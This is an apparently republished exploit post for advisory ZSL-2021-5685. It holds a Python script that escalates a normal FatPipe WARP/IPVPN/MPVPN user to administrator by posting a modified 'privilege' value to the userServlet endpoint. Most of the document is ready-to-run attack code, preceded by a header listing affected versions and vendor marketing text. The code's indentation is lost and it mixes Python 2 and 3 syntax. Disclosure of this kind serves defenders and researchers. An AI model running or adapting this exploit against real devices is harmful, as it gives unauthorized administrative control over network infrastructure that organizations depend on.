Monday, October 4, 2021

FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Privilege Escalation

#!/usr/bin/env python3
#
#
# FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation
#
#
# Vendor: FatPipe Networks Inc.
# Product web page: https://www.fatpipeinc.com
# Affected version: WARP / IPVPN / MPVPN
# 10.2.2r38
# 10.2.2r25
# 10.2.2r10
# 10.1.2r60p82
# 10.1.2r60p71
# 10.1.2r60p65
# 10.1.2r60p58s1
# 10.1.2r60p58
# 10.1.2r60p55
# 10.1.2r60p45
# 10.1.2r60p35
# 10.1.2r60p32
# 10.1.2r60p13
# 10.1.2r60p10
# 9.1.2r185
# 9.1.2r180p2
# 9.1.2r165
# 9.1.2r164p5
# 9.1.2r164p4
# 9.1.2r164
# 9.1.2r161p26
# 9.1.2r161p20
# 9.1.2r161p17
# 9.1.2r161p16
# 9.1.2r161p12
# 9.1.2r161p3
# 9.1.2r161p2
# 9.1.2r156
# 9.1.2r150
# 9.1.2r144
# 9.1.2r129
# 7.1.2r39
# 6.1.2r70p75-m
# 6.1.2r70p45-m
# 6.1.2r70p26
# 5.2.0r34
#
# Summary: FatPipe Networks invented the concept of router-clustering,
# which provides the highest level of reliability, redundancy, and speed
# of Internet traffic for Business Continuity and communications. FatPipe
# WARP achieves fault tolerance for companies by creating an easy method
# of combining two or more Internet connections of any kind over multiple
# ISPs. FatPipe utilizes all paths when the lines are up and running,
# dynamically balancing traffic over the multiple lines, and intelligently
# failing over inbound and outbound IP traffic when ISP services and/or
# components fail.
#
# FatPipe IPVPN balances load and provides reliability among multiple
# managed and CPE based VPNs as well as dedicated private networks. FatPipe
# IPVPN can also provide you an easy low-cost migration path from private
# line, Frame or Point-to-Point networks. You can aggregate multiple private,
# MPLS and public networks without additional equipment at the provider's
# site.
#
# FatPipe MPVPN, a patented router clustering device, is an essential part
# of Disaster Recovery and Business Continuity Planning for Virtual Private
# Network (VPN) connectivity. It makes any VPN up to 900% more secure and
# 300% times more reliable, redundant and faster. MPVPN can take WANs with
# an uptime of 99.5% or less and make them 99.999988% or higher, providing
# a virtually infallible WAN. MPVPN dynamically balances load over multiple
# lines and ISPs without the need for BGP programming. MPVPN aggregates up
# to 10Gbps - 40Gbps of bandwidth, giving you all the reliability and speed
# you need to keep your VPN up and running despite failures of service, line,
# software, or hardware.
#
# Desc: The application suffers from a privilege escalation vulnerability.
# A normal user (group USER, 0) can elevate her privileges by sending a HTTP
# POST request and setting the JSON parameter 'privilege' to integer value
# '1' gaining administrative rights (group ADMINISTRATOR, 1).
#
# Tested on: Apache-Coyote/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2021-5685
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5685.php
#
#
# 30.05.2016
# 25.07.2021
#
#

import sys
import time#######
import requests################
requests.packages.urllib3.disable_warnings()

if len(sys.argv) !=2:
print
print("********************************************************")
print("* *")
print("* Privilege escalation from USER to ADMINISTRATOR role *")
print("* in *")
print("* FatPipe WARP/IPVPN/MPVPN v10.2.2 *")
print("* *")
print("* ZSL-2021-5685 *")
print("* *")
print("********************************************************")
print("\n[POR] Usage: ./escalator.py [IP]")
sys.exit()

ajpi=sys.argv[1]
print
juzer=raw_input("[UNE] Username: ")
pasvord=raw_input("[UNE] Password: ")

sesija=requests.session()
logiranje={'loginParams':'{\"username\":\"'+juzer+'\",\"password\":\"'+pasvord+'\",\"authType\":0}'}

hederi={'Sec-Ch-Ua' :'\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"',
'Accept' :'application/json, text/javascript, */*; q=0.01',
'X-Requested-With':'XMLHttpRequest',
'Sec-Ch-Ua-Mobile':'?0',
'User-Agent' :'Fatnet/1.b',
'Content-Type' :'application/x-www-form-urlencoded; charset=UTF-8',
'Origin' :'https://'+ajpi,
'Sec-Fetch-Site' :'same-origin',
'Sec-Fetch-Mode' :'cors',
'Sec-Fetch-Dest' :'empty',
'Referer' :'https://'+ajpi+'/fpui/dataCollectionServlet',
'Accept-Encoding' :'gzip, deflate',
'Accept-Language' :'en-US,en;q=0.9',
'Connection' :'close'}

juarel1='https://'+ajpi+'/fpui/loginServlet'
alo=sesija.post(juarel1,headers=hederi,data=logiranje,verify=False)

if not 'success' in alo.text:
print('[GRE] Login error.')
sys.exit()
else:
print('[POR] Authentication successful.')

print('[POR] Climbing the ladder...')

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for k in sluba:
sys.stdout.write(k)
sys.stdout.flush()
time.sleep(0.01)

juarel2='https://'+ajpi+'/fpui/userServlet?loadType=set&block=userSetRequest'
posta={
'userList':'[{\"userName\":\"'+juzer+'\",\"oldUserName\":\"'+juzer+'\",\"privilege\":\"1\",\"password\":\"'+pasvord+'\",\"action\":\"edit\",\"state\":false}]'
}
stanje=sesija.post(juarel2,headers=hederi,data=posta,verify=False)

if not 'true' in stanje.text:
print('\n[GRE] Something\'s fishy!')
sys.exit()
else:
print('\n[POR] You are now authorized not only to view settings, but to modify them as well. Yes indeed.')
sys.exit()
 

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